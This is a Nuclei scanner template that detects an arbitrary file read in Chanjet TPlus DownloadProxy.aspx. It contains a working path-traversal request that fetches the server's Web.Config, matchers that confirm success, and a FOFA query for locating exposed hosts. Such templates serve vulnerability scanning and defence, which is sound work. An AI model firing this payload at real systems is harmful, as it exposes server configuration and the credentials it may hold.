id: chanjet-tplus-file-read

info:
  name: Chanjet TPlus DownloadProxy.aspx - Arbitrary File Read
  author: SleepingBag945
  severity: high
  description: |
    Chanjet TPlus DownloadProxy.aspx file has an arbitrary file reading vulnerability. An attacker can obtain sensitive files on the server through the vulnerability.
  reference:
    - https://github.com/PeiQi0/PeiQi-WIKI-Book/blob/main/docs/wiki/webapp/%E7%94%A8%E5%8F%8B/%E7%94%A8%E5%8F%8B%20%E7%95%85%E6%8D%B7%E9%80%9AT%2B%20DownloadProxy.aspx%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E.md
  classification:
    cwe-id: CWE-23,CWE-73
  metadata:
    verified: true
    max-request: 1
    fofa-query: app="畅捷通-TPlus"
  tags: yonyou,chanjet,lfi,tplus,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/tplus/SM/DTS/DownloadProxy.aspx?preload=1&Path=../../Web.Config"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "xml version"
          - "<configuration>"
        condition: and

      - type: word
        part: header
        words:
          - "application/octet-stream"
# digest: 4a0a004730450221008870ebece5147a9dbc7f31f62fc1fdfb9c5145bdffe8af24f02d3913b263158a02207704e9dadd3d46aa884c13c32d5e2e7a1061ad14187bdf978a617c1fb5bbddd9:922c64590222798bb761d5b6d8e72950